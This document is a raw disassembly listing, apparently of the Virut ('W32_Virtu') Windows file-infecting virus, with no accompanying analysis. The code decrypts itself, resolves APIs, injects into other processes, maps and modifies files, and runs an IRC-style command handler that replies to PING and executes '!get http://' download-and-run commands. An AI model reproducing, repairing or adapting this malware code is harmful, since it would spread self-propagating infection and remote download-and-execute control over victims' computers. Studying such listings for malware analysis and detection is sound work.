5A4A2BCEh dd 0AC8DAD1Ah, 0CE7BE9C7h, 0F1328C21h, 5ABB2B8Eh, 2FF84F4h dd 5B89BB03h, 3AFAE965h, 61F0BEA3h, 0B6B50ECAh, 2779C226h dd 3E842EC8h, 0AA6A7C1Dh, 0B29E743Fh, 2068D02Ch, 5833EF8Ch dd 0ACCF3DE3h, 0F5172BDEh, 2CA0D81Ch, 938BE1B8h, 12407EFCh dd 581E2DAFh, 0B00CE290h, 76A5238Bh, 7A18C883h, 2F1DEEE5h dd 1992D81Eh, 52D8730Bh, 972AF2F2h, 100h dup(0) _3a14gzkz ends ; --------------------------------------------------------------------------- ; Section 9. (virtual address 0002A000) ; Virtual size : 00007000 ( 28672.) ; Section size in file : 00007000 ( 28672.) ; Offset to raw data for section: 0002A000 ; Flags E00000E0: Text Data Bss Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute y5maaiyw segment para public 'CODE' use32 assume cs:y5maaiyw ;org 1002A000h assume es:nothing, ss:nothing, ds:_data, fs:nothing, gs:nothing imul edx, ebp, 5C3860D8h wait push 5Dh add al, 0ECh test al, 31h sbb eax, 98C4BAA5h sbb eax, 0AA90660h or bh, ds:3BB1C1D6h retn ; --------------------------------------------------------------------------- dw 0ADECh dd 652BB7B5h, 17E76B5Ah, 0BBCD4090h, 0D77D1DE7h, 98B3722Ch dd 0F90CDB89h, 515501ADh, 0C8EE6505h, 7C43B185h, 462F3371h dd 60E48790h, 0F360737h, 9004EF49h, 8708A5DDh, 0AAA50916h dd 87B5A9FEh, 538D0088h, 0C21DAC0h, 2F7407C1h, 0BEB362FCh dd 24A9D9A0h, 0FE417032h, 2C1A2751h, 5675027Bh, 8F97F2FCh dd 0C7F99FA1h, 0B23B0D09h, 0E1809402h, 9D65DE42h, 7B54EC3Ch dd 6367EFCh, 0F611C80h, 719F0AE5h, 822037BAh, 0EB8BD74h dd 0FC159DADh, 1479CB27h, 0C72F7B5Ah, 0DA784619h, 0ED9807F5h dd 97A587D6h, 0CFC5C4D6h, 2EE6F339h, 43DBD08Eh, 0D24375FAh dd 31D3168Ch, 0C25BF3CEh, 106503F1h, 16188B32h, 49F3178Eh dd 0D4A33738h, 48C0CECDh, 511EC17Eh, 0A39AE37Bh, 0BF8ECFFAh dd 44F2A87Eh, 0A6E7F55Fh, 2E3EBA06h, 0EDDAC2BFh, 0CB70432Dh dd 5A45DFEBh, 21C1A2FEh, 0CFD2BF18h, 8F30E1C1h, 7E544E5h dd 265A2501h, 0D77CD2Bh, 0D1296FC5h, 31DB5093h, 621D157Dh dd 64EEB53Bh, 7620C7F5h, 0D2AE7DE1h, 0A06838C6h, 0A54E6E72h dd 8DA04F07h, 727E70AAh, 0B2EF0DA1h, 3DAF422Dh, 74D469E7h dd 37C55EA8h, 0C4D71438h, 0FD5D60CFh, 82C9731h, 6B265EF7h dd 21C8CF17h, 0D1B74574h, 0CB031977h, 894F5DA7h, 0AC32D8F7h dd 36A3F754h, 0D5DC97E0h, 72E31533h, 43D489E8h, 1E1DCC68h dd 0D79A6492h, 11146CADh, 0C368858Dh, 0D8D76B30h, 33528BF3h dd 0EB809649h, 66F1511Fh, 8159B4BCh, 3609E11Ch, 0E46BA832h dd 0D41B6EF2h, 483DB889h, 9F94EB53h, 0EF73B321h, 5ECF2181h dd 8EB377FDh, 0AE2B4BE1h, 4C83CFD3h, 557026E1h, 2605BD8Fh dd 4041B90Ch, 5A7188C5h, 701A5CCDh, 1A66DFABh, 0A2DA8DD1h ; =============== S U B R O U T I N E ======================================= public start start proc near var_C = dword ptr -0Ch var_4 = dword ptr -4 call $+5 push ebp mov ebx, [esp+8] mov ebp, [esp+8+var_4] sub [esp+8+var_4], 74Eh and ebx, 0FFFFF000h sub ebp, 401005h loc_1002A222: ; CODE XREF: start+3Dj cmp dword ptr [ebx+4Eh], 73696854h jnz short loc_1002A237 mov eax, [ebx+3Ch] add eax, ebx cmp word ptr [eax], 4550h jz short loc_1002A23F loc_1002A237: ; CODE XREF: start+29j sub ebx, 100h jmp short loc_1002A222 ; --------------------------------------------------------------------------- loc_1002A23F: ; CODE XREF: start+35j mov edx, [eax+78h] add edx, ebx mov esi, [edx+20h] mov ecx, [edx+18h] add esi, ebx push ecx loc_1002A24D: ; CODE XREF: start:loc_1002A274j lodsd add eax, ebx cmp dword ptr [eax-1], 74654700h jnz short loc_1002A274 cmp dword ptr [eax+3], 636F7250h jnz short loc_1002A274 cmp dword ptr [eax+7], 72646441h jnz short loc_1002A274 cmp dword ptr [eax+0Bh], 737365h jz short loc_1002A279 loc_1002A274: ; CODE XREF: start+57j start+60j ... loop loc_1002A24D pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_1002A279: ; CODE XREF: start+72j sub [esp+0Ch+var_C], ecx mov esi, [edx+24h] pop ecx add esi, ebx movzx eax, word ptr [esi+ecx*2] mov edi, [edx+1Ch] add edi, ebx mov esi, [edi+eax*4] add esi, ebx call near ptr loc_1002A29F+2 inc ebx insb outsd jnb short near ptr loc_1002A2FD+2 dec eax popa outsb db 64h insb loc_1002A29F: ; CODE XREF: start+90p add gs:[ebx-1], dl start endp ; sp-analysis failed setalc mov [ebp+402407h], eax call near ptr loc_1002A2BB+1 inc ebx jb short loc_1002A317 popa jz short loc_1002A31A inc ebp jbe short near ptr loc_1002A31C+1 outsb jz short near ptr loc_1002A2FA+2 loc_1002A2BB: ; CODE XREF: y5maaiyw:1002A2AAp add [ebx-1], dl setalc mov [ebp+40240Bh], eax call sub_1002A2D7 inc edi db 65h jz short loc_1002A31A popa jnb short sub_1002A345 inc ebp jb short near ptr sub_1002A345+1 outsd jb short $+2 ; =============== S U B R O U T I N E ======================================= sub_1002A2D7 proc near ; CODE XREF: y5maaiyw:1002A2C5p ; FUNCTION CHUNK AT 1002A355 SIZE 0000008D BYTES ; FUNCTION CHUNK AT 1002A471 SIZE 000000DD BYTES push ebx call esi mov [ebp+40240Fh], eax call sub_1002A32A test eax, eax jz short loc_1002A30A push eax call dword ptr [ebp+40240Fh] test eax, eax jnz short loc_1002A304 lea eax, [ebp+401155h] loc_1002A2FA: ; CODE XREF: y5maaiyw:1002A2B9j mov dl, [eax-1] loc_1002A2FD: ; CODE XREF: start+98j call sub_1002A345 jmp short loc_1002A355 ; --------------------------------------------------------------------------- loc_1002A304: ; CODE XREF: sub_1002A2D7+1Bj ; sub_1002A2D7+E7j ... call dword ptr [ebp+402407h] loc_1002A30A: ; CODE XREF: sub_1002A2D7+10j pop ebp retn sub_1002A2D7 endp ; --------------------------------------------------------------------------- loc_1002A30C: ; CODE XREF: sub_1002A32A+2p ; sub_1002A2D7:loc_1002A4E1p pop edx push 0 push 0 push 0 push 0 ; --------------------------------------------------------------------------- db 68h, 1 ; --------------------------------------------------------------------------- loc_1002A317: ; CODE XREF: y5maaiyw:1002A2B0j add [eax+eax], al loc_1002A31A: ; CODE XREF: y5maaiyw:1002A2B3j ; y5maaiyw:1002A2CBj mov eax, esp loc_1002A31C: ; CODE XREF: y5maaiyw:1002A2B6j push 0 push eax push 0Ch mov eax, esp jmp edx ; --------------------------------------------------------------------------- push esi push esp pop edi xor eax, [eax] ; =============== S U B R O U T I N E ======================================= sub_1002A32A proc near ; CODE XREF: sub_1002A2D7+9p ; y5maaiyw:loc_1002AEDCp xor ecx, ecx call loc_1002A30C lea edx, [ebp+401125h] push edx push ecx push ecx push eax call dword ptr [ebp+40240Bh] add esp, 20h retn sub_1002A32A endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_1002A345 proc near ; CODE XREF: y5maaiyw:1002A2CFj ; sub_1002A2D7:loc_1002A2FDp ... mov dh, dl mov ecx, 12B2h loc_1002A34C: ; CODE XREF: sub_1002A345+Cj xor [eax], dl inc eax add dl, dh loop loc_1002A34C retn sub_1002A345 endp ; --------------------------------------------------------------------------- lodsb ; START OF FUNCTION CHUNK FOR sub_1002A2D7 loc_1002A355: ; CODE XREF: sub_1002A2D7+2Bj and dword ptr [ebp+401480h], 0 and dword ptr [ebp+401484h], 0 and dword ptr [ebp+401488h], 0 push edi mov byte ptr [ebp+401262h], 1 mov [ebp+402413h], esi lea esi, [ebp+4014A9h] xor ecx, ecx lea edi, [ebp+402423h] mov cl, 1Ch call sub_1002A68C pop edi call dword ptr [ebp+40245Bh] shr eax, 1Fh jz loc_1002A471 mov eax, [edi+14h] push 40h add eax, ebx push 8001000h mov [ebp+40241Bh], eax push 5839h push 0 call dword ptr [ebp+40248Bh] test eax, eax jz loc_1002A304 xchg eax, edi lea esi, [ebp+401000h] mov ebp, edi mov ecx, 60Fh sub ebp, 401000h lea edx, [ebp+4011E2h] rep movsd jmp edx ; END OF FUNCTION CHUNK FOR sub_1002A2D7 ; --------------------------------------------------------------------------- sub esp, 20h mov edi, esp push 8 xor eax, eax pop ecx lea edx, [ebp+4018D1h] rep stosd mov edi, esp mov [edi+10h], edx inc byte ptr [edi+1Ch] push edi push 10003h call dword ptr [ebp+40241Bh] add esp, 20h test eax, eax jz loc_1002A304 xchg eax, edi push 0 push 1 push 80000400h push 10000h call dword ptr [ebp+40241Bh] test eax, eax jz loc_1002A304 push 0 push eax push 40000h push 0 shr eax, 0Ch push edi push 1 push eax push 10001h call dword ptr [ebp+40241Bh] push 1000Ah call dword ptr [ebp+40241Bh] call sub_1002A461 jmp loc_1002A304 ; =============== S U B R O U T I N E ======================================= sub_1002A461 proc near ; CODE XREF: y5maaiyw:1002A457p ; sub_1002A461+Dj push 1 pop ecx jecxz short locret_1002A470 push 0Ah call dword ptr [ebp+402483h] jmp short sub_1002A461 ; --------------------------------------------------------------------------- locret_1002A470: ; CODE XREF: sub_1002A461+3j retn sub_1002A461 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1002A2D7 loc_1002A471: ; CODE XREF: sub_1002A2D7+C0j cmp dword ptr [ebp+40243Bh], 0 jz loc_1002A304 call near ptr loc_1002A488+1 dec esi push esp inc esp dec esp dec esp loc_1002A488: ; CODE XREF: sub_1002A2D7+1A7p add bh, bh xchg eax, ebp dec edi and al, 40h add [ebp+401637B5h], cl add [ebx], dh leave lea edi, [ebp+402493h] mov cl, 9 xchg eax, ebx call sub_1002A68C cmp dword ptr [ebp+4024B3h], 0 jz loc_1002A304 mov eax, [ebp+402497h] push dword ptr [eax+1] pop dword ptr [ebp+4023C1h] mov eax, [ebp+40249Bh] push dword ptr [eax+1] pop dword ptr [ebp+4023C7h] mov ecx, [ebp+40249Fh] jecxz short loc_1002A4E1 push dword ptr [ecx+1] pop dword ptr [ebp+4023D4h] loc_1002A4E1: ; CODE XREF: sub_1002A2D7+1FFj call loc_1002A30C lea edx, [ebp+40149Fh] push edx push 5839h push 0 push 4 push eax push 0FFFFFFFFh call dword ptr [ebp+40242Bh] add esp, 20h push 5839h mov edx, esp push 0 mov ecx, esp push 4 push 0 push 2 push edx push 0 push 5839h push 0 push ecx push 0FFFFFFFFh push eax call dword ptr [ebp+4024A3h] pop edi pop ecx test edi, edi jz loc_1002A304 lea esi, [ebp+401000h] mov ecx, 60Fh mov ebp, edi rep movsd sub ebp, 401000h lea eax, [ebp+40134Eh] jmp eax ; END OF FUNCTION CHUNK FOR sub_1002A2D7 ; --------------------------------------------------------------------------- dw 958Dh dd 401789h, 6395FF52h, 0E8004024h, 16h aLookupprivileg db 'LookupPrivilegeValueA',0 dw 0FF50h dd 40241395h, 17858900h, 50004024h, 6A206A54h, 0A795FFFFh dd 85004024h, 3F755FC0h, 56026A96h, 6AD48B56h, 11E85201h dd 53000000h, 62654465h, 72506775h, 6C697669h, 656765h dd 1795FF56h, 8B004024h, 565656C4h, 0FF575650h, 40249395h dd 10C48300h, 795FF57h, 6A004024h, 0FF026A00h, 40243B95h dd 128B900h, 2B970000h, 240C89E1h, 95FF5754h, 402473h dd 0A583F633h, 4024F7h, 0FF575400h, 40247795h, 74C08500h dd 0FE83465Ch, 0FFEE7204h, 6A082474h, 0FF2A6A00h, 40246F95h dd 74C08500h, 0E4E893DCh, 33000003h, 30E391C9h, 24F78539h dd 28750040h, 0C3EC181h, 54500000h, 50515650h, 95FF5350h dd 402433h, 7459C085h, 2474FF0Fh, 0F7858F08h, 0E8004024h dd 0FFFFFE09h, 795FF53h, 0EB004024h, 28C48198h, 57000001h dd 240795FFh, 91E90040h, 90FFFFFCh, 585858h, 1839h, 0BF4h dd 3 dup(0) ; =============== S U B R O U T I N E ======================================= sub_1002A68C proc near ; CODE XREF: sub_1002A2D7+B1p ; sub_1002A2D7+1C9p ... push ecx push esi push ebx call dword ptr [ebp+402413h] stosd pop ecx loc_1002A697: ; CODE XREF: sub_1002A68C+Ej lodsb test al, al jnz short loc_1002A697 loop sub_1002A68C retn sub_1002A68C endp ; --------------------------------------------------------------------------- aW32_virtu db 'W32_Virtu',0 aLstrlen db 'lstrlen',0 aCreatefilea db 'CreateFileA',0 aCreatefilemapp db 'CreateFileMappingA',0 aCreateprocessa db 'CreateProcessA',0 aCreateremoteth db 'CreateRemoteThread',0 aCreatethread db 'CreateThread',0 aCreatetoolhelp db 'CreateToolhelp32Snapshot',0 aExitthread db 'ExitThread',0 aGetfileattribu db 'GetFileAttributesA',0 aGetfilesize db 'GetFileSize',0 aGetfiletime db 'GetFileTime',0 aGetmodulehandl db 'GetModuleHandleA',0 aGettempfilenam db 'GetTempFileNameA',0 aGettemppatha db 'GetTempPathA',0 aGetversion db 'GetVersion',0 aGetversionexa db 'GetVersionExA',0 aLoadlibrarya db 'LoadLibraryA',0 aMapviewoffile db 'MapViewOfFile',0 aOpenfilemappin db 'OpenFileMappingA',0 aOpenprocess db 'OpenProcess',0 aProcess32first db 'Process32First',0 aProcess32next db 'Process32Next',0 aSetfileattribu db 'SetFileAttributesA',0 aSetfiletime db 'SetFileTime',0 aSleep db 'Sleep',0 aUnmapviewoffil db 'UnmapViewOfFile',0 aVirtualalloc db 'VirtualAlloc',0 aWritefile db 'WriteFile',0 aNtadjustprivil db 'NtAdjustPrivilegesToken',0 aNtcreatefile db 'NtCreateFile',0 aNtcreateproces db 'NtCreateProcess',0 aNtcreateproc_0 db 'NtCreateProcessEx',0 aNtmapviewofsec db 'NtMapViewOfSection',0 aNtopenprocesst db 'NtOpenProcessToken',0 aNtprotectvirtu db 'NtProtectVirtualMemory',0 aNtwritevirtual db 'NtWriteVirtualMemory',0 aRtlunicodestri db 'RtlUnicodeStringToAnsiString',0 aWsastartup db 'WSAStartup',0 aClosesocket db 'closesocket',0 aConnect db 'connect',0 aGethostbyname db 'gethostbyname',0 aRecv db 'recv',0 aSend db 'send',0 aSocket db 'socket',0 aInternetcloseh db 'InternetCloseHandle',0 aInternetgetcon db 'InternetGetConnectedState',0 aInternetopena db 'InternetOpenA',0 aInternetopenur db 'InternetOpenUrlA',0 aInternetreadfi db 'InternetReadFile',0 aAdvapi32_dll db 'ADVAPI32.DLL',0 aRegclosekey db 'RegCloseKey',0 aRegopenkeyexa db 'RegOpenKeyExA',0 aRegqueryvaluee db 'RegQueryValueExA',0 aRegsetvalueexa db 'RegSetValueExA',0 ; =============== S U B R O U T I N E ======================================= sub_1002A9D0 proc near ; CODE XREF: y5maaiyw:1002AA73p ; y5maaiyw:1002AA84p ... var_5 = byte ptr -5 sub ecx, 5 sub ecx, eax push ecx push 0E8000000h lea ecx, [esp+8+var_5] push 0 push 5 push ecx push eax push ebx push 5 mov ecx, esp push eax mov edx, esp push eax push esp push 40h push ecx push edx push ebx call dword ptr [ebp+4024ABh] add esp, 0Ch call dword ptr [ebp+4024AFh] add esp, 8 retn sub_1002A9D0 endp ; --------------------------------------------------------------------------- push edi lea eax, [ebp+40149Fh] xor edi, edi push eax push 0 push 6 call dword ptr [ebp+40246Bh] test eax, eax jz short loc_1002AA9E push eax push 5839h mov edx, esp push 0 mov ecx, esp push 4 push 100000h push 2 push edx push 0 push 5839h push 0 push ecx push ebx push eax call dword ptr [ebp+4024A3h] pop edi pop ecx call dword ptr [ebp+402407h] test edi, edi jz short loc_1002AA9E mov ecx, [ebp+401488h] jecxz short loc_1002AA67 lea edx, [ebp+401000h] add edx, ecx push edi push ebx call edx ; GetModuleHandleA loc_1002AA67: ; CODE XREF: y5maaiyw:1002AA59j mov eax, [ebp+402497h] lea ecx, [edi+1379h] call sub_1002A9D0 mov eax, [ebp+40249Bh] lea ecx, [edi+13C6h] call sub_1002A9D0 mov eax, [ebp+40249Fh] test eax, eax jz short loc_1002AA9E lea ecx, [edi+13D3h] call sub_1002A9D0 loc_1002AA9E: ; CODE XREF: y5maaiyw:1002AA1Dj ; y5maaiyw:1002AA51j ... mov eax, edi pop edi retn ; --------------------------------------------------------------------------- push ebp call $+5 pop ebp sub ebp, 4018A8h xor ecx, ecx lea eax, [ebp+401C3Eh] push ecx push esp push ecx push ecx push eax push ecx push ecx call dword ptr [ebp+402437h] xchg eax, [esp] call dword ptr [ebp+402407h] pop ebp retn 4 ; --------------------------------------------------------------------------- db 55h, 0E8h, 0 dd 5D000000h, 18D7ED81h, 0FF6A0040h, 18A2958Dh, 52500040h dd 2420CDh, 0C483002Ah, 85C7660Ch, 4018E8h, 85C720CDh dd 4018EAh, 2A0024h, 16AC35Dh, 33FF016Ah, 0FF0473FFh, 74C08515h dd 0B68F0h, 0D08B0000h, 3C50035Bh, 1906B58Dh, 0BA8B0040h dd 10Ch, 1088A8Bh, 0F8030000h, 8B60CB2Bh, 61A6F3CBh, 0E2470574h dd 83C2EBF5h, 8B570FC7h, 0CC8B53D4h, 406A5450h, 0FF6A5251h dd 24AB95FFh, 0C4830040h, 3F958B0Ch, 2B004024h, 7EA83D7h dd 6A07C7h, 578900E8h, 9569C303h, 402501h, 8088405h, 0B042C033h dd 195891Ah, 0F7004025h, 61428DE2h, 75C9FEAAh, 0E855C3E1h dd 0 ; --------------------------------------------------------------------------- pop ebp sub ebp, 401998h mov ebx, [ebp+402505h] cmp dword ptr [esp+8], 0 jz loc_1002AC69 sub esp, 208h push esp push 104h call dword ptr [ebp+402457h] mov edi, esp lea eax, [esp+104h] push eax push 0 call near ptr loc_1002ABD6+1 push esi push edx push esp loc_1002ABD6: ; CODE XREF: y5maaiyw:1002ABCEp add [edi-1], dl xchg eax, ebp push ebx and al, 40h add [ebx], dh leave lea edx, [edi+104h] push ecx push ecx push 2 push ecx push 1 push 40000000h push edx call dword ptr [ebp+402427h] xchg eax, esi test esi, esi jz short loc_1002AC59 loc_1002ABFE: ; CODE XREF: y5maaiyw:1002AC2Cj push eax push esp push 104h push edi push dword ptr [esp+220h] call dword ptr [ebp+4024E3h] pop ecx test eax, eax jz short loc_1002AC2E jecxz short loc_1002AC2E push eax mov edx, esp push 0 push edx push ecx push edi push esi call dword ptr [ebp+40248Fh] pop ecx test eax, eax jnz short loc_1002ABFE loc_1002AC2E: ; CODE XREF: y5maaiyw:1002AC16j ; y5maaiyw:1002AC18j push esi call dword ptr [ebp+402407h] lea edx, [edi+44h] push edx push edi push 44h pop eax lea edx, [edi+104h] stosd xor eax, eax push 10h pop ecx rep stosd push eax push eax push eax push eax push eax push eax push eax push edx call dword ptr [ebp+40242Fh] loc_1002AC59: ; CODE XREF: y5maaiyw:1002ABFCj add esp, 208h push dword ptr [esp+8] call dword ptr [ebp+4024D3h] loc_1002AC69: ; CODE XREF: y5maaiyw:1002ABAAj push ebx call dword ptr [ebp+4024D3h] pop ebp retn 4 ; --------------------------------------------------------------------------- cmp byte ptr [esi], 0Ah jnz short loc_1002AC7A inc esi loc_1002AC7A: ; CODE XREF: y5maaiyw:1002AC77j mov ecx, [ebp+401484h] jecxz short loc_1002AC9B lea edx, [ebp+401000h] add edx, ecx push esi call edx ; GetModuleHandleA test al, al js loc_1002ADB4 jz loc_1002ADAB loc_1002AC9B: ; CODE XREF: y5maaiyw:1002AC80j cmp byte ptr [esi], 3Ah jnz short loc_1002ACB0 loc_1002ACA0: ; CODE XREF: y5maaiyw:1002ACADj inc esi cmp byte ptr [esi], 0 jz loc_1002ADAB cmp byte ptr [esi], 20h jnz short loc_1002ACA0 inc esi loc_1002ACB0: ; CODE XREF: y5maaiyw:1002AC9Ej cmp dword ptr [esi], 474E4950h jnz short loc_1002ACFA mov ecx, edi mov byte ptr [esi+1], 4Fh sub ecx, esi push ecx push 0 push ecx push esi push ebx call dword ptr [ebp+4024CBh] pop ecx cmp eax, ecx jnz loc_1002ADB4 lea eax, [ebp+401C32h] push 0 push 0Ch push eax push ebx call dword ptr [ebp+4024CBh] cmp eax, 0Ch jnz loc_1002ADB4 jmp loc_1002ADAB ; --------------------------------------------------------------------------- loc_1002ACFA: ; CODE XREF: y5maaiyw:1002ACB6j cmp dword ptr [esi], 56495250h jnz loc_1002ADAB add esi, 8 loc_1002AD09: ; CODE XREF: y5maaiyw:1002AD14j lodsb cmp al, 0Dh jz loc_1002ADAB cmp al, 20h jnz short loc_1002AD09 lodsb cmp al, 3Ah jnz loc_1002ADAB lodsd or eax, 20202020h cmp eax, 74656721h jnz short loc_1002ADAB lodsb cmp al, 20h jnz short loc_1002ADAD cmp dword ptr [esi-1], 74746820h jnz short loc_1002ADAB cmp dword ptr [esi+3], 2F2F3A70h jnz short loc_1002ADAB mov byte ptr [edi-1], 0 rdtsc mov edx, 2710h mul edx push edx call dword ptr [ebp+402483h] xor eax, eax push eax push eax push eax push eax call near ptr loc_1002AD69+2 inc esp outsd ja short loc_1002ADD4 insb outsd popa loc_1002AD69: ; CODE XREF: y5maaiyw:1002AD5Dp db 64h add bh, bh xchg eax, ebp ; --------------------------------------------------------------------------- db 0DBh, 24h, 40h dd 74C08500h, 89C93336h, 40250585h, 685100h, 51800002h dd 0FF505651h db 95h, 0DFh ; --------------------------------------------------------------------------- loc_1002AD8A: ; CODE XREF: y5maaiyw:1002ADF9j and al, 40h add [ebp+40199295h], cl add [eax+33h], dl leave push esp push ecx push eax push edx push ecx push ecx call dword ptr [ebp+402437h] xchg eax, [esp] call dword ptr [ebp+402407h] loc_1002ADAB: ; CODE XREF: y5maaiyw:1002AC95j ; y5maaiyw:1002ACA4j ... clc retn ; --------------------------------------------------------------------------- loc_1002ADAD: ; CODE XREF: y5maaiyw:1002AD2Fj or byte ptr [ebp+401477h], 1 loc_1002ADB4: ; CODE XREF: y5maaiyw:1002AC8Fj ; y5maaiyw:1002ACCFj ... stc retn ; --------------------------------------------------------------------------- dw 4F53h dd 41575446h, 4D5C4552h, 6F726369h, 74666F73h, 6E69575Ch dd 73776F64h, 7275435Ch ; --------------------------------------------------------------------------- loc_1002ADD4: ; CODE XREF: y5maaiyw:1002AD64j jb short near ptr loc_1002AE3A+1 outsb jz short loc_1002AE2F db 65h jb short near ptr loc_1002AE4B+4 imul ebp, [edi+6Eh], 7078455Ch insb outsd jb short near ptr loc_1002AE4B+1 jb short $+2 push ebp outsb imul esi, [ecx+75h], 736F4865h jz short $+2 add al, [eax] push eax push ebp jb short loc_1002AD8A sal byte ptr [eax+72h], 1 outsd js short near ptr loc_1002AE69+1 insd popa imul esi, cs:[edx+63h], 616C6167h js short near ptr loc_1002AE85+1 db 2Eh jo short loc_1002AE7C add [esi+49h], cl inc ebx dec ebx and [ebx+6Ch], ch jb short near ptr loc_1002AE7F+1 outsb js short loc_1002AE7F js short near ptr loc_1002AE28+1 push ebp push ebx inc ebp push edx and [ebx+30h], ah xor dh, [eax] loc_1002AE28: ; CODE XREF: y5maaiyw:1002AE1Dj xor eax, 2E203130h and [esi], ch loc_1002AE2F: ; CODE XREF: y5maaiyw:1002ADD7j and [edx], bh pop edi dec edx dec edi dec ecx dec esi and [esi], ah jbe short near ptr loc_1002AEA2+1 loc_1002AE3A: ; CODE XREF: y5maaiyw:loc_1002ADD4j jb short near ptr loc_1002AEAF+1 jnz short near ptr loc_1002AE45+3 push ebp call $+5 pop ebp loc_1002AE45: ; CODE XREF: y5maaiyw:1002AE3Cj sub ebp, 401C44h loc_1002AE4B: ; CODE XREF: y5maaiyw:1002ADE5j ; y5maaiyw:1002ADD9j mov byte ptr [ebp+401477h], 0 call dword ptr [ebp+40245Bh] shr eax, 1Fh jz short loc_1002AE99 push 1Eh mov esi, [ebp+40241Bh] pop ecx loc_1002AE66: ; CODE XREF: y5maaiyw:loc_1002AE95j lodsb cmp al, 2Eh loc_1002AE69: ; CODE XREF: y5maaiyw:1002ADFFj jnz short loc_1002AE95 cmp word ptr [esi], 1DFFh jnz short loc_1002AE95 lea edi, [ebp+4024FBh] mov esi, [esi+2] push edi loc_1002AE7C: ; CODE XREF: y5maaiyw:1002AE0Dj movsd movsw loc_1002AE7F: ; CODE XREF: y5maaiyw:1002AE1Bj ; y5maaiyw:1002AE18j lea eax, [ebp+40234Fh] loc_1002AE85: ; CODE XREF: y5maaiyw:1002AE0Bj pop dword ptr [ebp+402375h] cli mov [esi-6], eax mov word ptr [esi-2], cs sti mov cl, 1 loc_1002AE95: ; CODE XREF: y5maaiyw:loc_1002AE69j ; y5maaiyw:1002AE70j loop loc_1002AE66 jmp short loc_1002AEDC ; --------------------------------------------------------------------------- loc_1002AE99: ; CODE XREF: y5maaiyw:1002AE5Bj lea eax, [ebp+40149Fh] push eax push 0 loc_1002AEA2: ; CODE XREF: y5maaiyw:1002AE38j push 6 call dword ptr [ebp+40246Bh] cmp dword ptr [esp+8], 4 loc_1002AEAF: ; CODE XREF: y5maaiyw:loc_1002AE3Aj jnz short loc_1002AEDC call near ptr loc_1002AEB9+1 push ebx inc esi inc ebx loc_1002AEB9: ; CODE XREF: y5maaiyw:1002AEB1p add bh, bh xchg eax, ebp dec edi and al, 40h add al, ch dec esp cld ; --------------------------------------------------------------------------- db 0FFh dd 7E8FFh, 46530000h, 534F5F43h, 4F95FF00h, 0E8004024h dd 0FFFFFC35h ; --------------------------------------------------------------------------- loc_1002AEDC: ; CODE XREF: y5maaiyw:1002AE97j ; y5maaiyw:loc_1002AEAFj call sub_1002A32A dec dword ptr [ebp+401262h] call near ptr loc_1002AEF6+1 push ebp push ebx inc ebp push edx xor esi, [edx] db 2Eh inc esp dec esp dec esp loc_1002AEF6: ; CODE XREF: y5maaiyw:1002AEE7p add bh, bh xchg eax, ebp arpl [eax+eax*2], sp add al, ch or al, [eax] ; --------------------------------------------------------------------------- dd 73770000h, 6E697270h, 416674h, 1395FF50h, 89004024h dd 40241F85h, 8D310F00h, 4017898Dh, 1858900h, 51004025h dd 246395FFh, 68930040h, 4, 1796B58Dh, 8D590040h, 4024E7BDh dd 0F746E800h, 0C766FFFFh, 401BF685h, 83F0FF00h, 401BF8A5h dd 958D0000h, 401BB6h, 16A5450h, 6852006Ah, 80000002h dd 24EB95FFh, 0C0850040h, 8D22755Ah, 401BE98Dh, 66A5200h dd 1BF6B58Dh, 56540040h, 52515050h, 24EF95FFh, 0FF580040h dd 4024E795h, 885C600h, 4027h, 0CE8h, 4F535700h, 32334B43h dd 4C4C442Eh, 6395FF00h, 93004024h, 768h, 0EDB58D00h, 59004016h dd 24B7BD8Dh, 0C1E80040h, 0E8FFFFF6h, 0Ch, 494E4957h, 2E54454Eh dd 4C4C44h, 246395FFh, 0C0850040h, 1E7840Fh, 68930000h dd 5, 172BB58Dh, 8D590040h, 4024D3BDh, 0F68AE800h, 0BD83FFFFh dd 4024D7h, 0C2840F00h, 81000001h, 190ECh, 1685400h, 0FF000001h dd 4024B795h, 90C48100h, 50000001h, 6AD48Bh, 0D795FF52h dd 85004024h, 0D7559C0h, 138868h, 8395FF00h, 0EB004024h dd 0F8BD83E2h, 401Bh, 858D2975h, 401BFCh, 0C395FF50h, 85004024h dd 3B840FC0h, 8B000001h, 8B0C40h, 858F30FFh, 401BF8h, 270885C6h dd 6A010040h, 6A016A00h, 0CF95FF02h, 83004024h, 840FFFF8h dd 112h, 0F4958D93h, 6A00401Bh, 0FF535210h, 4024BF95h dd 0FC08500h, 0F285h, 16BD8D00h, 0B100401Ch, 0FAC0E808h dd 9468FFFFh, 5E000000h, 3489E62Bh, 95FF5424h, 40245Fh dd 1C24BD8Dh, 1B10040h, 0FFFAA1E8h, 24448BFFh, 8E0C110h dd 424440Bh, 0B08E0C1h, 50082444h, 5E8h, 362E2500h, 0FF570078h dd 40241F95h, 0CC48300h, 200647C6h, 1C11958Dh, 6A0040h dd 2168h, 0FF535200h, 4024CB95h, 247C8D00h, 95FF5714h dd 402423h, 0A3804C6h, 50006A40h, 95FF5357h, 4024CBh, 0BD8DE603h dd 401C32h, 0C68006Ah, 57000000h, 0CB95FF53h, 3D004024h dd 0Ch, 0B58D4D75h, 402509h, 27088D8Dh, 0CE2B0040h, 5651006Ah dd 0C795FF53h, 83004024h, 2F7E00F8h, 8DFE8B91h, 402509B5h dd 0F20DB000h, 601075AEh, 0FFFAF7E8h, 177261FFh, 778D09E3h dd 8BEAEB01h, 8DCE2BCFh, 402509BDh, 87A4F300h, 53B9EBF7h dd 24BB95FFh, 0BD800040h, 401477h, 682A7401h, 7530h, 248395FFh dd 0BD800040h, 402708h, 0C7117400h, 401BF885h, 0 dd 885C600h, 4027h, 0FFFE56E9h, 8085C7FFh, 4014h, 5D800000h dd 8D0004C2h, 402709B5h, 95FF5600h, 402443h, 0FFFF883h dd 0BB84h, 0D858900h, 6A004028h, 95FF5600h, 40247Bh, 840FC085h dd 0A4h, 5050C02Bh, 6A50036Ah, 6801h, 0FF56C000h, 40242795h dd 0FFF88300h, 2E4840Fh, 85890000h, 402811h, 28158D8Dh dd 958D0040h, 40281Dh, 6A5251h, 4B95FF50h, 83004024h, 840FFFF8h dd 2B2h, 0B5FF006Ah, 402811h, 244795FFh, 0F8830040h, 9B840FFFh dd 89000002h, 40282585h, 3C93300h, 515051C3h, 0FF51046Ah dd 402811B5h, 2B95FF00h, 85004024h, 77840FC0h, 33000002h dd 